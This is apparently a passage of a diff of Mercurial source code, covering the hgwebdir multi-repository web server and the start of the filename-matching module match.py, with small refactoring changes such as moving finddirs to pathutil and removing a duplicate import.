160 161 name.strip(b'/'),
161 162 ]
162 163 url = b'/' + b'/'.join(p for p in parts if p) + b'/'
163 164
164 165 # show either a directory entry or a repository
165 166 if directory:
166 167 # get the directory's time information
167 168 try:
168 169 d = (get_mtime(path), dateutil.makedate()[1])
169 170 except OSError:
170 171 continue
171 172
172 173 # add '/' to the name to make it obvious that
173 174 # the entry is a directory, not a regular repository
174 175 row = {
175 176 b'contact': b"",
176 177 b'contact_sort': b"",
177 178 b'name': name + b'/',
178 179 b'name_sort': name,
179 180 b'url': url,
180 181 b'description': b"",
181 182 b'description_sort': b"",
182 183 b'lastchange': d,
183 184 b'lastchange_sort': d[1] - d[0],
184 185 b'archives': templateutil.mappinglist([]),
185 186 b'isdirectory': True,
186 187 b'labels': templateutil.hybridlist([], name=b'label'),
187 188 }
188 189
189 190 seendirs.add(name)
190 191 yield row
191 192 continue
192 193
193 194 u = ui.copy()
194 195 try:
195 196 u.readconfig(os.path.join(path, b'.hg', b'hgrc'))
196 197 except Exception as e:
197 198 u.warn(_(b'error reading %s/.hg/hgrc: %s\n') % (path, e))
198 199 continue
199 200
200 201 def get(section, name, default=uimod._unset):
201 202 return u.config(section, name, default, untrusted=True)
202 203
203 204 if u.configbool(b"web", b"hidden", untrusted=True):
204 205 continue
205 206
206 207 if not readallowed(u, req):
207 208 continue
208 209
209 210 # update time with local timezone
210 211 try:
211 212 r = hg.repository(ui, path)
212 213 except IOError:
213 214 u.warn(_(b'error accessing repository at %s\n') % path)
214 215 continue
215 216 except error.RepoError:
216 217 u.warn(_(b'error accessing repository at %s\n') % path)
217 218 continue
218 219 try:
219 220 d = (get_mtime(r.spath), dateutil.makedate()[1])
220 221 except OSError:
221 222 continue
222 223
223 224 contact = get_contact(get)
224 225 description = get(b"web", b"description")
225 226 seenrepos.add(name)
226 227 name = get(b"web", b"name", name)
227 228 labels = u.configlist(b'web', b'labels', untrusted=True)
228 229 row = {
229 230 b'contact': contact or b"unknown",
230 231 b'contact_sort': contact.upper() or b"unknown",
231 232 b'name': name,
232 233 b'name_sort': name,
233 234 b'url': url,
234 235 b'description': description or b"unknown",
235 236 b'description_sort': description.upper() or b"unknown",
236 237 b'lastchange': d,
237 238 b'lastchange_sort': d[1] - d[0],
238 239 b'archives': webutil.archivelist(u, b"tip", url),
239 240 b'isdirectory': None,
240 241 b'labels': templateutil.hybridlist(labels, name=b'label'),
241 242 }
242 243
243 244 yield row
244 245
245 246
246 247 def _indexentriesgen(
247 248 context, ui, repos, req, stripecount, sortcolumn, descending, subdir
248 249 ):
249 250 rows = rawindexentries(ui, repos, req, subdir=subdir)
250 251
251 252 sortdefault = None, False
252 253
253 254 if sortcolumn and sortdefault != (sortcolumn, descending):
254 255 sortkey = b'%s_sort' % sortcolumn
255 256 rows = sorted(rows, key=lambda x: x[sortkey], reverse=descending)
256 257
257 258 for row, parity in zip(rows, paritygen(stripecount)):
258 259 row[b'parity'] = parity
259 260 yield row
260 261
261 262
262 263 def indexentries(
263 264 ui, repos, req, stripecount, sortcolumn=b'', descending=False, subdir=b''
264 265 ):
265 266 args = (ui, repos, req, stripecount, sortcolumn, descending, subdir)
266 267 return templateutil.mappinggenerator(_indexentriesgen, args=args)
267 268
268 269
269 270 class hgwebdir(object):
270 271 """HTTP server for multiple repositories.
271 272
272 273 Given a configuration, different repositories will be served depending
273 274 on the request path.
274 275
275 276 Instances are typically used as WSGI applications.
276 277 """
277 278
278 279 def __init__(self, conf, baseui=None):
279 280 self.conf = conf
280 281 self.baseui = baseui
281 282 self.ui = None
282 283 self.lastrefresh = 0
283 284 self.motd = None
284 285 self.refresh()
285 286 if not baseui:
286 287 # set up environment for new ui
287 288 extensions.loadall(self.ui)
288 289 extensions.populateui(self.ui)
289 290
290 291 def refresh(self):
291 292 if self.ui:
292 293 refreshinterval = self.ui.configint(b'web', b'refreshinterval')
293 294 else:
294 295 item = configitems.coreitems[b'web'][b'refreshinterval']
295 296 refreshinterval = item.default
296 297
297 298 # refreshinterval <= 0 means to always refresh.
298 299 if (
299 300 refreshinterval > 0
300 301 and self.lastrefresh + refreshinterval > time.time()
301 302 ):
302 303 return
303 304
304 305 if self.baseui:
305 306 u = self.baseui.copy()
306 307 else:
307 308 u = uimod.ui.load()
308 309 u.setconfig(b'ui', b'report_untrusted', b'off', b'hgwebdir')
309 310 u.setconfig(b'ui', b'nontty', b'true', b'hgwebdir')
310 311 # displaying bundling progress bar while serving feels wrong and may
311 312 # break some wsgi implementations.
312 313 u.setconfig(b'progress', b'disable', b'true', b'hgweb')
313 314
314 315 if not isinstance(self.conf, (dict, list, tuple)):
315 316 map = {b'paths': b'hgweb-paths'}
316 317 if not os.path.exists(self.conf):
317 318 raise error.Abort(_(b'config file %s not found!') % self.conf)
318 319 u.readconfig(self.conf, remap=map, trust=True)
319 320 paths = []
320 321 for name, ignored in u.configitems(b'hgweb-paths'):
321 322 for path in u.configlist(b'hgweb-paths', name):
322 323 paths.append((name, path))
323 324 elif isinstance(self.conf, (list, tuple)):
324 325 paths = self.conf
325 326 elif isinstance(self.conf, dict):
326 327 paths = self.conf.items()
327 328 extensions.populateui(u)
328 329
329 330 repos = findrepos(paths)
330 331 for prefix, root in u.configitems(b'collections'):
331 332 prefix = util.pconvert(prefix)
332 333 for path in scmutil.walkrepos(root, followsym=True):
333 334 repo = os.path.normpath(path)
334 335 name = util.pconvert(repo)
335 336 if name.startswith(prefix):
336 337 name = name[len(prefix) :]
337 338 repos.append((name.lstrip(b'/'), repo))
338 339
339 340 self.repos = repos
340 341 self.ui = u
341 342 encoding.encoding = self.ui.config(b'web', b'encoding')
342 343 self.style = self.ui.config(b'web', b'style')
343 344 self.templatepath = self.ui.config(
344 345 b'web', b'templates', untrusted=False
345 346 )
346 347 self.stripecount = self.ui.config(b'web', b'stripes')
347 348 if self.stripecount:
348 349 self.stripecount = int(self.stripecount)
349 350 prefix = self.ui.config(b'web', b'prefix')
350 351 if prefix.startswith(b'/'):
351 352 prefix = prefix[1:]
352 353 if prefix.endswith(b'/'):
353 354 prefix = prefix[:-1]
354 355 self.prefix = prefix
355 356 self.lastrefresh = time.time()
356 357
357 358 def run(self):
358 359 if not encoding.environ.get(b'GATEWAY_INTERFACE', b'').startswith(
359 360 b"CGI/1."
360 361 ):
361 362 raise RuntimeError(
362 363 b"This function is only intended to be "
363 364 b"called while running as a CGI script."
364 365 )
365 366 wsgicgi.launch(self)
366 367
367 368 def __call__(self, env, respond):
368 369 baseurl = self.ui.config(b'web', b'baseurl')
369 370 req = requestmod.parserequestfromenv(env, altbaseurl=baseurl)
370 371 res = requestmod.wsgiresponse(req, respond)
371 372
372 373 return self.run_wsgi(req, res)
373 374
374 375 def run_wsgi(self, req, res):
375 376 profile = self.ui.configbool(b'profiling', b'enabled')
376 377 with profiling.profile(self.ui, enabled=profile):
377 378 try:
378 379 for r in self._runwsgi(req, res):
379 380 yield r
380 381 finally:
381 382 # There are known cycles in localrepository that prevent
382 383 # those objects (and tons of held references) from being
383 384 # collected through normal refcounting. We mitigate those
384 385 # leaks by performing an explicit GC on every request.
385 386 # TODO remove this once leaks are fixed.
386 387 # TODO only run this on requests that create localrepository
387 388 # instances instead of every request.
388 389 gc.collect()
389 390
390 391 def _runwsgi(self, req, res):
391 392 try:
392 393 self.refresh()
393 394
394 395 csp, nonce = cspvalues(self.ui)
395 396 if csp:
396 397 res.headers[b'Content-Security-Policy'] = csp
397 398
398 399 virtual = req.dispatchpath.strip(b'/')
399 400 tmpl = self.templater(req, nonce)
400 401 ctype = tmpl.render(b'mimetype', {b'encoding': encoding.encoding})
401 402
402 403 # Global defaults. These can be overridden by any handler.
403 404 res.status = b'200 Script output follows'
404 405 res.headers[b'Content-Type'] = ctype
405 406
406 407 # a static file
407 408 if virtual.startswith(b'static/') or b'static' in req.qsparams:
408 409 if virtual.startswith(b'static/'):
409 410 fname = virtual[7:]
410 411 else:
411 412 fname = req.qsparams[b'static']
412 413 static = self.ui.config(b"web", b"static", untrusted=False)
413 414 if not static:
414 415 tp = self.templatepath or templater.templatepaths()
415 416 if isinstance(tp, str):
416 417 tp = [tp]
417 418 static = [os.path.join(p, b'static') for p in tp]
418 419
419 420 staticfile(static, fname, res)
420 421 return res.sendresponse()
421 422
422 423 # top-level index
423 424
424 425 repos = dict(self.repos)
425 426
426 427 if (not virtual or virtual == b'index') and virtual not in repos:
427 428 return self.makeindex(req, res, tmpl)
428 429
429 430 # nested indexes and hgwebs
430 431
431 432 if virtual.endswith(b'/index') and virtual not in repos:
432 433 subdir = virtual[: -len(b'index')]
433 434 if any(r.startswith(subdir) for r in repos):
434 435 return self.makeindex(req, res, tmpl, subdir)
435 436
436 437 def _virtualdirs():
437 438 # Check the full virtual path, and each parent
438 439 yield virtual
439 for p in util.finddirs(virtual):
440 for p in pathutil.finddirs(virtual):
440 441 yield p
441 442
442 443 for virtualrepo in _virtualdirs():
443 444 real = repos.get(virtualrepo)
444 445 if real:
445 446 # Re-parse the WSGI environment to take into account our
446 447 # repository path component.
447 448 uenv = req.rawenv
448 449 if pycompat.ispy3:
449 450 uenv = {
450 451 k.decode('latin1'): v
451 452 for k, v in pycompat.iteritems(uenv)
452 453 }
453 454 req = requestmod.parserequestfromenv(
454 455 uenv,
455 456 reponame=virtualrepo,
456 457 altbaseurl=self.ui.config(b'web', b'baseurl'),
457 458 # Reuse wrapped body file object otherwise state
458 459 # tracking can get confused.
459 460 bodyfh=req.bodyfh,
460 461 )
461 462 try:
462 463 # ensure caller gets private copy of ui
463 464 repo = hg.repository(self.ui.copy(), real)
464 465 return hgweb_mod.hgweb(repo).run_wsgi(req, res)
465 466 except IOError as inst:
466 467 msg = encoding.strtolocal(inst.strerror)
467 468 raise ErrorResponse(HTTP_SERVER_ERROR, msg)
468 469 except error.RepoError as inst:
469 470 raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
470 471
471 472 # browse subdirectories
472 473 subdir = virtual + b'/'
473 474 if [r for r in repos if r.startswith(subdir)]:
474 475 return self.makeindex(req, res, tmpl, subdir)
475 476
476 477 # prefixes not found
477 478 res.status = b'404 Not Found'
478 479 res.setbodygen(tmpl.generate(b'notfound', {b'repo': virtual}))
479 480 return res.sendresponse()
480 481
481 482 except ErrorResponse as e:
482 483 res.status = statusmessage(e.code, pycompat.bytestr(e))
483 484 res.setbodygen(
484 485 tmpl.generate(b'error', {b'error': e.message or b''})
485 486 )
486 487 return res.sendresponse()
487 488 finally:
488 489 tmpl = None
489 490
490 491 def makeindex(self, req, res, tmpl, subdir=b""):
491 492 self.refresh()
492 493 sortable = [b"name", b"description", b"contact", b"lastchange"]
493 494 sortcolumn, descending = None, False
494 495 if b'sort' in req.qsparams:
495 496 sortcolumn = req.qsparams[b'sort']
496 497 descending = sortcolumn.startswith(b'-')
497 498 if descending:
498 499 sortcolumn = sortcolumn[1:]
499 500 if sortcolumn not in sortable:
500 501 sortcolumn = b""
501 502
502 503 sort = [
503 504 (
504 505 b"sort_%s" % column,
505 506 b"%s%s"
506 507 % (
507 508 (not descending and column == sortcolumn) and b"-" or b"",
508 509 column,
509 510 ),
510 511 )
511 512 for column in sortable
512 513 ]
513 514
514 515 self.refresh()
515 516
516 517 entries = indexentries(
517 518 self.ui,
518 519 self.repos,
519 520 req,
520 521 self.stripecount,
521 522 sortcolumn=sortcolumn,
522 523 descending=descending,
523 524 subdir=subdir,
524 525 )
525 526
526 527 mapping = {
527 528 b'entries': entries,
528 529 b'subdir': subdir,
529 530 b'pathdef': hgweb_mod.makebreadcrumb(b'/' + subdir, self.prefix),
530 531 b'sortcolumn': sortcolumn,
531 532 b'descending': descending,
532 533 }
533 534 mapping.update(sort)
534 535 res.setbodygen(tmpl.generate(b'index', mapping))
535 536 return res.sendresponse()
536 537
537 538 def templater(self, req, nonce):
538 539 def config(section, name, default=uimod._unset, untrusted=True):
539 540 return self.ui.config(section, name, default, untrusted)
540 541
541 542 vars = {}
542 543 styles, (style, mapfile) = hgweb_mod.getstyle(
543 544 req, config, self.templatepath
544 545 )
545 546 if style == styles[0]:
546 547 vars[b'style'] = style
547 548
548 549 sessionvars = webutil.sessionvars(vars, b'?')
549 550 logourl = config(b'web', b'logourl')
550 551 logoimg = config(b'web', b'logoimg')
551 552 staticurl = (
552 553 config(b'web', b'staticurl')
553 554 or req.apppath.rstrip(b'/') + b'/static/'
554 555 )
555 556 if not staticurl.endswith(b'/'):
556 557 staticurl += b'/'
557 558
558 559 defaults = {
559 560 b"encoding": encoding.encoding,
560 561 b"url": req.apppath + b'/',
561 562 b"logourl": logourl,
562 563 b"logoimg": logoimg,
563 564 b"staticurl": staticurl,
564 565 b"sessionvars": sessionvars,
565 566 b"style": style,
566 567 b"nonce": nonce,
567 568 }
568 569 templatekeyword = registrar.templatekeyword(defaults)
569 570
570 571 @templatekeyword(b'motd', requires=())
571 572 def motd(context, mapping):
572 573 if self.motd is not None:
573 574 yield self.motd
574 575 else:
575 576 yield config(b'web', b'motd')
576 577
577 578 tmpl = templater.templater.frommapfile(mapfile, defaults=defaults)
578 579 return tmpl
@@ -1,1621 +1,1625 b''
1 1 # match.py - filename matching
2 2 #
3 3 # Copyright 2008, 2009 Matt Mackall <mpm@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import, print_function
9 9
10 10 import copy
11 11 import itertools
12 12 import os
13 13 import re
14 14
15 15 from .i18n import _
16 16 from .pycompat import open
17 17 from . import (
18 18 encoding,
19 19 error,
20 20 pathutil,
21 pathutil,
22 21 policy,
23 22 pycompat,
24 23 util,
25 24 )
26 25 from .utils import stringutil
27 26
28 27 rustmod = policy.importrust('filepatterns')
29 28
30 29 allpatternkinds = (
31 30 b're',
32 31 b'glob',
33 32 b'path',
34 33 b'relglob',
35 34 b'relpath',
36 35 b'relre',
37 36 b'rootglob',
38 37 b'listfile',
39 38 b'listfile0',
40 39 b'set',
41 40 b'include',
42 41 b'subinclude',
43 42 b'rootfilesin',
44 43 )
45 44 cwdrelativepatternkinds = (b'relpath', b'glob')
46 45
47 46 propertycache = util.propertycache
48 47
49 48
50 49 def _rematcher(regex):
51 50 '''compile the regexp with the best available regexp engine and return a
52 51 matcher function'''
53 52 m = util.re.compile(regex)
54 53 try:
55 54 # slightly faster, provided by facebook's re2 bindings
56 55 return m.test_match
57 56 except AttributeError:
58 57 return m.match
59 58
60 59
61 60 def _expandsets(kindpats, ctx=None, listsubrepos=False, badfn=None):
62 61 '''Returns the kindpats list with the 'set' patterns expanded to matchers'''
63 62 matchers = []
64 63 other = []
65 64
66 65 for kind, pat, source in kindpats:
67 66 if kind == b'set':
68 67 if ctx is None:
69 68 raise error.ProgrammingError(
70 69 b"fileset expression with no context"
71 70 )
72 71 matchers.append(ctx.matchfileset(pat, badfn=badfn))
73 72
74 73 if listsubrepos:
75 74 for subpath in ctx.substate:
76 75 sm = ctx.sub(subpath).matchfileset(pat, badfn=badfn)
77 76 pm = prefixdirmatcher(subpath, sm, badfn=badfn)
78 77 matchers.append(pm)
79 78
80 79 continue
81 80 other.append((kind, pat, source))
82 81 return matchers, other
83 82
84 83
85 84 def _expandsubinclude(kindpats, root):
86 85 '''Returns the list of subinclude matcher args and the kindpats without the
87 86 subincludes in it.'''
88 87 relmatchers = []
89 88 other = []
90 89
91 90 for kind, pat, source in kindpats:
92 91 if kind == b'subinclude':
93 92 sourceroot = pathutil.dirname(util.normpath(source))
94 93 pat = util.pconvert(pat)
95 94 path = pathutil.join(sourceroot, pat)
96 95
97 96 newroot = pathutil.dirname(path)
98 97 matcherargs = (newroot, b'', [], [b'include:%s' % path])
99 98
100 99 prefix = pathutil.canonpath(root, root, newroot)
101 100 if prefix:
102 101 prefix += b'/'
103 102 relmatchers.append((prefix, matcherargs))
104 103 else:
105 104 other.append((kind, pat, source))
106 105
107 106 return relmatchers, other
108 107
109 108
110 109 def _kindpatsalwaysmatch(kindpats):
111 110 """"Checks whether the kindspats match everything, as e.g.
112 111 'relpath:.' does.
113 112 """
114 113 for kind, pat, source in kindpats:
115 114 if pat != b'' or kind not in [b'relpath', b'glob']:
116 115 return False
117 116 return True
118 117
119 118
120 119 def _buildkindpatsmatcher(
121 120 matchercls, root, kindpats, ctx=None, listsubrepos=False, badfn=None
122 121 ):
123 122 matchers = []
124 123 fms, kindpats = _expandsets(
125 124 kindpats, ctx=ctx, listsubrepos=listsubrepos, badfn=badfn
126 125 )
127 126 if kindpats:
128 127 m = matchercls(root, kindpats, badfn=badfn)
129 128 matchers.append(m)
130 129 if fms:
131 130 matchers.extend(fms)
132 131 if not matchers:
133 132 return nevermatcher(badfn=badfn)
134 133 if len(matchers) == 1:
135 134 return matchers[0]
136 135 return unionmatcher(matchers)
137 136
138 137
139 138 def match(
140 139 root,
141 140 cwd,
142 141 patterns=None,
143 142 include=None,
144 143 exclude=None,
145 144 default=b'glob',
146 145 auditor=None,
147 146 ctx=None,
148 147 listsubrepos=False,
149 148 warn=None,
150 149 badfn=None,
151 150 icasefs=False,
152 151 ):
153 152 r"""build an object to match a set of file patterns
154 153
155 154 arguments:
156 155 root - the canonical root of the tree you're matching against
157 156 cwd - the current working directory, if relevant
158 157 patterns - patterns to find
159 158 include - patterns to include (unless they are excluded)
160 159 exclude - patterns to exclude (even if they are included)
161 160 default - if a pattern in patterns has no explicit type, assume this one
162 161 auditor - optional path auditor
163 162 ctx - optional changecontext
164 163 listsubrepos - if True, recurse into subrepositories
165 164 warn - optional function used for printing warnings
166 165 badfn - optional bad() callback for this matcher instead of the default
167 166 icasefs - make a matcher for wdir on case insensitive filesystems, which
168 167 normalizes the given patterns to the case in the filesystem
169 168
170 169 a pattern is one of:
171 170 'glob:<glob>' - a glob relative to cwd
172 171 're:<regexp>' - a regular expression
173 172 'path:<path>' - a path relative to repository root, which is matched
174 173 recursively
175 174 'rootfilesin:<path>' - a path relative to repository root, which is
176 175 matched non-recursively (will not match subdirectories)
177 176 'relglob:<glob>' - an unrooted glob (*.c matches C files in all dirs)
178 177 'relpath:<path>' - a path relative to cwd
179 178 'relre:<regexp>' - a regexp that needn't match the start of a name
180 179 'set:<fileset>' - a fileset expression
181 180 'include:<path>' - a file of patterns to read and include
182 181 'subinclude:<path>' - a file of patterns to match against files under
183 182 the same directory
184 183 '<something>' - a pattern of the specified default type
185 184
186 185 Usually a patternmatcher is returned:
187 186 >>> match(b'foo', b'.', [b're:.*\.c$', b'path:foo/a', b'*.py'])
188 187 <patternmatcher patterns='.*\\.c$|foo/a(?:/|$)|[^/]*\\.py$'>
189 188
190 189 Combining 'patterns' with 'include' (resp. 'exclude') gives an
191 190 intersectionmatcher (resp. a differencematcher):
192 191 >>> type(match(b'foo', b'.', [b're:.*\.c$'], include=[b'path:lib']))
193 192 <class 'mercurial.match.intersectionmatcher'>
194 193 >>> type(match(b'foo', b'.', [b're:.*\.c$'], exclude=[b'path:build']))
195 194 <class 'mercurial.match.differencematcher'>
196 195
197 196 Notice that, if 'patterns' is empty, an alwaysmatcher is returned:
198 197 >>> match(b'foo', b'.', [])
199 198 <alwaysmatcher>
200 199
201 200 The 'default' argument determines which kind of pattern is assumed if a
202 201 pattern has no prefix:
203 202 >>> match(b'foo', b'.', [b'.*\.c$'], default=b're')
204 203 <patternmatcher patterns='.*\\.c$'>
205 204 >>> match(b'foo', b'.', [b'main.py'], default=b'relpath')
206 205 <patternmatcher patterns='main\\.py(?:/|$)'>
207 206 >>> match(b'foo', b'.', [b'main.py'], default=b're')
208 207 <patternmatcher patterns='main.py'>
209 208
210 209 The primary use of matchers is to check whether a value (usually a file
211 210 name) matches againset one of the patterns given at initialization. There
212 211 are two ways of doing this check.
213 212
214 213 >>> m = match(b'foo', b'', [b're:.*\.c$', b'relpath:a'])
215 214
216 215 1. Calling the matcher with a file name returns True if any pattern
217 216 matches that file name:
218 217 >>> m(b'a')
219 218 True
220 219 >>> m(b'main.c')
221 220 True
222 221 >>> m(b'test.py')
223 222 False
224 223
225 224 2. Using the exact() method only returns True if the file name matches one
226 225 of the exact patterns (i.e. not re: or glob: patterns):
227 226 >>> m.exact(b'a')
228 227 True
229 228 >>> m.exact(b'main.c')
230 229 False
231 230 """
232 231 normalize = _donormalize
233 232 if icasefs:
234 233 dirstate = ctx.repo().dirstate
235 234 dsnormalize = dirstate.normalize
236 235
237 236 def normalize(patterns, default, root, cwd, auditor, warn):
238 237 kp = _donormalize(patterns, default, root, cwd, auditor, warn)
239 238 kindpats = []
240 239 for kind, pats, source in kp:
241 240 if kind not in (b're', b'relre'): # regex can't be normalized
242 241 p = pats
243 242 pats = dsnormalize(pats)
244 243
245 244 # Preserve the original to handle a case only rename.
246 245 if p != pats and p in dirstate:
247 246 kindpats.append((kind, p, source))
248 247
249 248 kindpats.append((kind, pats, source))
250 249 return kindpats
251 250
252 251 if patterns:
253 252 kindpats = normalize(patterns, default, root, cwd, auditor, warn)
254 253 if _kindpatsalwaysmatch(kindpats):
255 254 m = alwaysmatcher(badfn)
256 255 else:
257 256 m = _buildkindpatsmatcher(
258 257 patternmatcher,
259 258 root,
260 259 kindpats,
261 260 ctx=ctx,
262 261 listsubrepos=listsubrepos,
263 262 badfn=badfn,
264 263 )
265 264 else:
266 265 # It's a little strange that no patterns means to match everything.
267 266 # Consider changing this to match nothing (probably using nevermatcher).
268 267 m = alwaysmatcher(badfn)
269 268
270 269 if include:
271 270 kindpats = normalize(include, b'glob', root, cwd, auditor, warn)
272 271 im = _buildkindpatsmatcher(
273 272 includematcher,
274 273 root,
275 274 kindpats,
276 275 ctx=ctx,
277 276 listsubrepos=listsubrepos,
278 277 badfn=None,
279 278 )
280 279 m = intersectmatchers(m, im)
281 280 if exclude:
282 281 kindpats = normalize(exclude, b'glob', root, cwd, auditor, warn)
283 282 em = _buildkindpatsmatcher(
284 283 includematcher,
285 284 root,
286 285 kindpats,
287 286 ctx=ctx,
288 287 listsubrepos=listsubrepos,
289 288 badfn=None,
290 289 )
291 290 m = differencematcher(m, em)
292 291 return m
293 292
294 293
295 294 def exact(files, badfn=None):
296 295 return exactmatcher(files, badfn=badfn)
297 296
298 297
299 298 def always(badfn=None):
300 299 return alwaysmatcher(badfn)
301 300
302 301
303 302 def never(badfn=None):
304 303 return nevermatcher(badfn)
305 304
306 305
307 306 def badmatch(match, badfn):
308 307 """Make a copy of the given matcher, replacing its bad method with the given
309 308 one.
310 309 """
311 310 m = copy.copy(match)
312 311 m.bad = badfn
313 312 return m
314 313
315 314
316 315 def _donormalize(patterns, default, root, cwd, auditor=None, warn=None):
317 316 '''Convert 'kind:pat' from the patterns list to tuples with kind and
318 317 normalized and rooted patterns and with listfiles expanded.'''
319 318 kindpats = []
320 319 for kind, pat in [_patsplit(p, default) for p in patterns]:
321 320 if kind in cwdrelativepatternkinds:
322 321 pat = pathutil.canonpath(root, cwd, pat, auditor=auditor)
323 322 elif kind in (b'relglob', b'path', b'rootfilesin', b'rootglob'):
324 323 pat = util.normpath(pat)
325 324 elif kind in (b'listfile', b'listfile0'):
326 325 try:
327 326 files = util.readfile(pat)
328 327 if kind == b'listfile0':
329 328 files = files.split(b'\0')
330 329 else:
331 330 files = files.splitlines()
332 331 files = [f for f in files if f]
333 332 except EnvironmentError:
334 333 raise error.Abort(_(b"unable to read file list (%s)") % pat)
335 334 for k, p, source in _donormalize(
336 335 files, default, root, cwd, auditor, warn
337 336 ):
338 337 kindpats.append((k, p, pat))
339 338 continue
340 339 elif kind == b'include':
341 340 try:
342 341 fullpath = os.path.join(root, util.localpath(pat))
343 342 includepats = readpatternfile(fullpath, warn)
344 343 for k, p, source in _donormalize(
345 344 includepats, default, root, cwd, auditor, warn
346 345 ):
347 346 kindpats.append((k, p, source or pat))
348 347 except error.Abort as inst:
349 348 raise error.Abort(
350 349 b'%s: %s'
351 350 % (pat, inst[0]) # pytype: disable=unsupported-operands
352 351 )
353 352 except IOError as inst:
354 353 if warn:
355 354 warn(
356 355 _(b"skipping unreadable pattern file '%s': %s\n")
357 356 % (pat, stringutil.forcebytestr(inst.strerror))
358 357 )
359 358 continue
360 359 # else: re or relre - which cannot be normalized
361 360 kindpats.append((kind, pat, b''))
362 361 return kindpats
363 362
364 363
365 364 class basematcher(object):
366 365 def __init__(self, badfn=None):
367 366 if badfn is not None:
368 367 self.bad = badfn
369 368
370 369 def __call__(self, fn):
371 370 return self.matchfn(fn)
372 371
373 372 # Callbacks related to how the matcher is used by dirstate.walk.
374 373 # Subscribers to these events must monkeypatch the matcher object.
375 374 def bad(self, f, msg):
376 375 '''Callback from dirstate.walk for each explicit file that can't be
377 376 found/accessed, with an error message.'''
378 377
379 378 # If an explicitdir is set, it will be called when an explicitly listed
380 379 # directory is visited.
381 380 explicitdir = None
382 381
383 382 # If an traversedir is set, it will be called when a directory discovered
384 383 # by recursive traversal is visited.
385 384 traversedir = None
386 385
387 386 @propertycache
388 387 def _files(self):
389 388 return []
390 389
391 390 def files(self):
392 391 '''Explicitly listed files or patterns or roots:
393 392 if no patterns or .always(): empty list,
394 393 if exact: list exact files,
395 394 if not .anypats(): list all files and dirs,
396 395 else: optimal roots'''
397 396 return self._files
398 397
399 398 @propertycache
400 399 def _fileset(self):
401 400 return set(self._files)
402 401
403 402 def exact(self, f):
404 403 '''Returns True if f is in .files().'''
405 404 return f in self._fileset
406 405
407 406 def matchfn(self, f):
408 407 return False
409 408
410 409 def visitdir(self, dir):
411 410 '''Decides whether a directory should be visited based on whether it
412 411 has potential matches in it or one of its subdirectories. This is
413 412 based on the match's primary, included, and excluded patterns.
414 413
415 414 Returns the string 'all' if the given directory and all subdirectories
416 415 should be visited. Otherwise returns True or False indicating whether
417 416 the given directory should be visited.
418 417 '''
419 418 return True
420 419
421 420 def visitchildrenset(self, dir):
422 421 '''Decides whether a directory should be visited based on whether it
423 422 has potential matches in it or one of its subdirectories, and
424 423 potentially lists which subdirectories of that directory should be
425 424 visited. This is based on the match's primary, included, and excluded
426 425 patterns.
427 426
428 427 This function is very similar to 'visitdir', and the following mapping
429 428 can be applied:
430 429
431 430 visitdir | visitchildrenlist
432 431 ----------+-------------------
433 432 False | set()
434 433 'all' | 'all'
435 434 True | 'this' OR non-empty set of subdirs -or files- to visit
436 435
437 436 Example:
438 437 Assume matchers ['path:foo/bar', 'rootfilesin:qux'], we would return
439 438 the following values (assuming the implementation of visitchildrenset
440 439 is capable of recognizing this; some implementations are not).
441 440
442 441 '' -> {'foo', 'qux'}
443 442 'baz' -> set()
444 443 'foo' -> {'bar'}
445 444 # Ideally this would be 'all', but since the prefix nature of matchers
446 445 # is applied to the entire matcher, we have to downgrade this to
447 446 # 'this' due to the non-prefix 'rootfilesin'-kind matcher being mixed
448 447 # in.
449 448 'foo/bar' -> 'this'
450 449 'qux' -> 'this'
451 450
452 451 Important:
453 452 Most matchers do not know if they're representing files or
454 453 directories. They see ['path:dir/f'] and don't know whether 'f' is a
455 454 file or a directory, so visitchildrenset('dir') for most matchers will
456 455 return {'f'}, but if the matcher knows it's a file (like exactmatcher
457 456 does), it may return 'this'. Do not rely on the return being a set
458 457 indicating that there are no files in this dir to investigate (or
459 458 equivalently that if there are files to investigate in 'dir' that it
460 459 will always return 'this').
461 460 '''
462 461 return b'this'
463 462
464 463 def always(self):
465 464 '''Matcher will match everything and .files() will be empty --
466 465 optimization might be possible.'''
467 466 return False
468 467
469 468 def isexact(self):
470 469 '''Matcher will match exactly the list of files in .files() --
471 470 optimization might be possible.'''
472 471 return False
473 472
474 473 def prefix(self):
475 474 '''Matcher will match the paths in .files() recursively --
476 475 optimization might be possible.'''
477 476 return False
478 477
479 478 def anypats(self):
480 479 '''None of .always(), .isexact(), and .prefix() is true --
481 480 optimizations will be difficult.'''
482 481 return not self.always() and not self.isexact() and not self.prefix()
483 482
484 483
485 484 class alwaysmatcher(basematcher):
486 485 '''Matches everything.'''
487 486
488 487 def __init__(self, badfn=None):
489 488 super(alwaysmatcher, self).__init__(badfn)
490 489
491 490 def always(self):
492 491 return True
493 492
494 493 def matchfn(self, f):
495 494 return True
496 495
497 496 def visitdir(self, dir):
498 497 return b'all'
499 498
500 499 def visitchildrenset(self, dir):
501 500 return b'all'
502 501
503 502 def __repr__(self):
504 503 return r'<alwaysmatcher>'
505 504
506 505
507 506 class nevermatcher(basematcher):
508 507 '''Matches nothing.'''
509 508
510 509 def __init__(self, badfn=None):
511 510 super(nevermatcher, self).__init__(badfn)
512 511
513 512 # It's a little weird to say that the nevermatcher is an exact matcher
514 513 # or a prefix matcher, but it seems to make sense to let callers take
515 514 # fast paths based on either. There will be no exact matches, nor any
516 515 # prefixes (files() returns []), so fast paths iterating over them should
517 516 # be efficient (and correct).
518 517 def isexact(self):
519 518 return True
520 519
521 520 def prefix(self):
522 521 return True
523 522
524 523 def visitdir(self, dir):
525 524 return False
526 525
527 526 def visitchildrenset(self, dir):
528 527 return set()
529 528
530 529 def __repr__(self):
531 530 return r'<nevermatcher>'
532 531
533 532
534 533 class predicatematcher(basematcher):
535 534 """A matcher adapter for a simple boolean function"""
536 535
537 536 def __init__(self, predfn, predrepr=None, badfn=None):
538 537 super(predicatematcher, self).__init__(badfn)
539 538 self.matchfn = predfn
540 539 self._predrepr = predrepr
541 540
542 541 @encoding.strmethod
543 542 def __repr__(self):
544 543 s = stringutil.buildrepr(self._predrepr) or pycompat.byterepr(
545 544 self.matchfn
546 545 )
547 546 return b'<predicatenmatcher pred=%s>' % s
548 547
549 548
550 549 class patternmatcher(basematcher):
551 550 """Matches a set of (kind, pat, source) against a 'root' directory.
552 551
553 552 >>> kindpats = [
554 553 ... (b're', br'.*\.c$', b''),
555 554 ... (b'path', b'foo/a', b''),
556 555 ... (b'relpath', b'b', b''),
